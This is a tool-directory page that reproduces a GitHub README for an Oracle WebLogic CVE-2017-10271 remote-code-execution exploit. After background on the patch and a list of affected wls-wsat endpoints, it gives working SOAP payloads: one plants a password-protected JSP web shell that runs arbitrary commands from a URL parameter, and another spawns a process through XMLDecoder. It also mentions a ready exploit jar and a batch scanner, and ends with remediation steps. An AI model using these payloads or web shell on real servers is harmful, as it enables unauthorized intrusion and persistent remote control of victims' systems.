Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
Oracle-WebLogic-CVE-2017-10271 — 原创作者:Bearcat@secfree.com | Kitploit
Tools/GitHubGitHub/xhsecurity/oracle-weblogic-cve-2017-10271
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and ControlRemote Access Tool
GitHubxhsecurity/oracle-weblogic-cve-2017-10271

Oracle-WebLogic-CVE-2017-10271

原创作者:[email protected]

View Repository
1222 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

WebLogic Wls-wsat XMLDecoder

Vulnerability Description

mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506

Early on, hackers leveraged the WebLogic WLS component vulnerability to launch large-scale remote attacks against enterprise servers, resulting in a large number of compromised servers. The number of attacked enterprises showed a clear upward trend, requiring heightened attention. Among them, CVE-2017-3506 is a remote code execution vulnerability in the WLS component of Oracle WebLogic, classified as a zero-day vulnerability with no publicly disclosed details. Many enterprises had not installed the patch in time. The official patch for this vulnerability was released in April 2017.

CVE-2017-3506 Patch Description:

root@kitploit:~
public WorkContextXmlInputAdapter(InputStream is)
  {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();
    try
    {
      int next = 0;
      next = is.read();
      while (next != -1)
      {
        baos.write(next);
        next = is.read();
      }
    }
    catch (Exception e)
    {
      throw new IllegalStateException("Failed to get data from input stream", e);
    }
    validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
  }
  
  private void validate(InputStream is)
  {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
    try
    {
      SAXParser parser = factory.newSAXParser();
      parser.parse(is, new DefaultHandler()
      {
        public void startElement(String uri, String localName, String qName, Attributes attributes)
          throws SAXException
        {
          if (qName.equalsIgnoreCase("object")) {
            throw new IllegalStateException("Invalid context type: object");
          }
        }
      });
    }
    catch (ParserConfigurationException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (SAXException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
    catch (IOException e)
    {
      throw new IllegalStateException("Parser Exception", e);
    }
  }

It merely adds a validate function before deserialization; if qName equals 'object', it throws an exception to terminate. This is simple and brutal. However, such a blacklist fix is difficult to fully and completely patch. Worth pondering…

The exploitation method for this vulnerability is relatively simple. An attacker only needs to send a carefully crafted HTTP request to gain control of the target server, causing enormous damage. Since the vulnerability is relatively new, there are still many hosts that have not updated the relevant patch. It is expected that after this incident, the number of attacks may surge, and a large number of new hosts could be compromised.

Oracle's April patch for CVE-2017-3506 did not fully fix the vulnerability; it was possible to bypass the patch and still execute remote commands. The bypass vulnerability currently known as CVE-2017-10271 was fixed in the official patch released in October.

Vulnerability ID

CVE-2017-10271 (wls-wsat Remote Command Execution Bypass Vulnerability)

Affected Versions

Oracle WebLogic Server10.3.6.0.0 版本

Oracle WebLogic Server12.1.3.0.0 版本

Oracle WebLogic Server12.2.1.1.0 版本

Oracle WebLogic Server12.2.1.2.0 版本

wls-wsat Directory List

root@kitploit:~
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11

Exploitation Method

PoC:

CmdShell
root@kitploit:~
Content-Type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<%   if("secfree".equals(request.getParameter("password"))){  
        java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();  
        int a = -1;  
        byte[] b = new byte[2048];  
        out.print("<pre>");  
        while((a=in.read(b))!=-1){  
            out.println(new String(b));  
        }  
        out.print("</pre>");  
    } %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/1.jpg)

exploit

CmdShell : http://www.xxx.com/bea_wls_internal/test.jsp?password=secfree&command=whoami

root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/2.jpg)

exploit

Execute Command
root@kitploit:~
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    <soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"> 
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.lang.ProcessBuilder"> 
                    <array class="java.lang.String" length="1">
                       <void index="0">
                        <string>calc</string>
                    </void>
                    </array>
                <void method="start"/> 
                </object>
            </java> 
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/> 
</soapenv:Envelope>
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/3.jpg)

exploit

Using the Exp to Obtain a CmdShell

WebLogic_Wls-Wsat_RCE_Exp.jar
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/4.jpg)

exploit

Batch Asset Detection

WebLogic-Wls-wsat-XMLDecoder
root@kitploit:~
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/5.jpg)
![exploit](https://raw.githubusercontent.com/iBearcat/Oracle-WebLogic-CVE-2017-10271/master/img/6.jpg?raw=true)

exploit exploit

Remediation Suggestions

  1. Upgrade to the Oracle October patch.

http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip

  1. Implement access control for wls-wsat resources.

  2. Temporary Solution

Without affecting business operations, delete the following war packages and directories from the WebLogic installation according to the actual environment path.

root@kitploit:~
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat

After restarting the WebLogic service or system, verify that the following link returns a 404 status:

http://ip:port/wls-wsat/CoordinatorPortType11

Download Tool